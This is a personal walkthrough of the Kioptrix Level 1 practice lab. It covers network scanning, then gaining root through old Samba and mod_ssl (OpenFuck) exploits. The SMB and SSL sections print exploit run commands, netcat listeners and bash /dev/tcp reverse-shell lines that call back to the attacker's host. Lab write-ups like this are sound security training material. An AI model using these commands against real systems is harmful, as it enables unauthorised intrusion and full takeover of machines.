Kioptrix Level 1

Created	Feb 13, 2019 6:50 PM
Tags	Completed
Completed On	Feb 13, 2019 9:45 PM

+ Add a Property

Add a comment...

Discovering eth1 IP Address

```
sudo dhclient eth1 -v
```

Bash

Scanning sub-net for active machines

```
nmap -sP -e eth1 192.168.99.0/24 OR sudo netdiscover -i
eth1 -r 192.168.99.0/24
```

Bash

Machine IP address is **192.168.99.100**

```
nmap -sV -sC -Pn 192.168.99.100 -e eth1 -oN nmap
```

Bash

nmap 2.1KB

nMap scan output file in Normal format

Possible network attack vectors and explanations

Port Number	Status	Reason
22 - SSH Service	Dropped	No known accounts. No hints for password brute-forcing, probably a time waste [This could be a possible attack, will try and get after it a little later down the line]. I tried using exploit-45233 but it did not work for some unknown reasons and I chose not to bang my head against the wall
111, 1024 - RPC	Dropped	No useful exploits available to pop a shell into the system
139 - SMB	Exploited	As the nmap scan was not able to enumerate the version of the samba service running I had to use MSF to get the samba version **(Samba 2.2.1a)**. Tool used - **auxiliary/scanner/smb/smb_version**
443 - SSL/HTTPS	Exploited	This service was running a vulnerable version of mod_ssl 2.8.4 for which I found 2 remote buffer overflow exploits named OpenFuck and OpenFuckV2
80 - HTTP	Potential	There was a MRTG and a Webalizer service running both of them had CVE registered to themselves but were not exploited due to lack of supporting configurations.

+ New

COUNT 6

SMB 139 - Exploit

Version: `2.2.1a`

Exploit: `exploits/multiple/remote/10.c`

```
# Compilation step gcc 10.c # Usage ./a.out -b 0 -p 139
192.168.99.100 # Got an unstable root shell # Setup a
listener on my own machine with the following nc -nvlp
10001 # Executed the following on VM bash -i >&
/dev/tcp/192.168.99.101/10001 0>&1
```

Bash

This got me the root with bash on my system and I was able to easily traverse the system, found nothing important but I got root using SMB service.

SSL/HTTPS 443 - Exploit

Version: `2.8.4`

Exploit: `exploits/unix/remote/21671.c`

Resource for compilation: https://medium.com/@javarmutt/how-to-compile-openfuckv2-c-69e457b4a1d1

```bash
./OpenFuck 0x66 192.168.99.100 443 -c 45
```

Bash

This got me bash shell with apache as a user. The same pktrace-mod exploit used in OpenFuckV2 can be used to exploit this shell as well and gain root level access into the system.

Exploit: `exploits/unix/remote/764.c`

```bash
# Running V2 of the exploit ./OpenFuckV2 0x6b
192.168.99.100 443 # NOTE: As this machine operates offline
the pktrace-mod won't # download into the system,
therefore, use pyton simpleHTTPServer to # deliver the
pktrace-mod file # This got me an unstable root shell #
Setup a listener on my own machine with the following nc -
nvlp 10005 # Executed the following on VM bash -i >&
/dev/tcp/192.168.99.101/10005 0>&1
```

Bash

NOTE: Running this exploit with too many connections clogs up the server and you will have to restart it to get back to running exploits, so use just 1 single connection at a time to exploit the server else this becomes a problem.

HTTP 80 - Potential Exploit

Use gobuster to get some possible directories using the following command. This led me to MRTG and Webalizer

```bash
gobuster -e -t 100 -u http://192.168.99.100/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```

Service: `MRTG`

CVE: `https://www.cvedetails.com/cve/CVE-2002-0232/`

Description: Remote local file reading capabilities, not serious but helpful in some recon. Was not able to exploit this due to unavailability of the required files in the `cgi-bin/` folder.

Service: `Webalizer 2.01`

CVE: `https://www.cvedetails.com/cve/CVE-2002-0180/`

Description: Unable to exploit as the server is not connected to the internet and this exploit requires the attacked to send a rather huge response from DNS to execute buffer overflow and gain root privileges.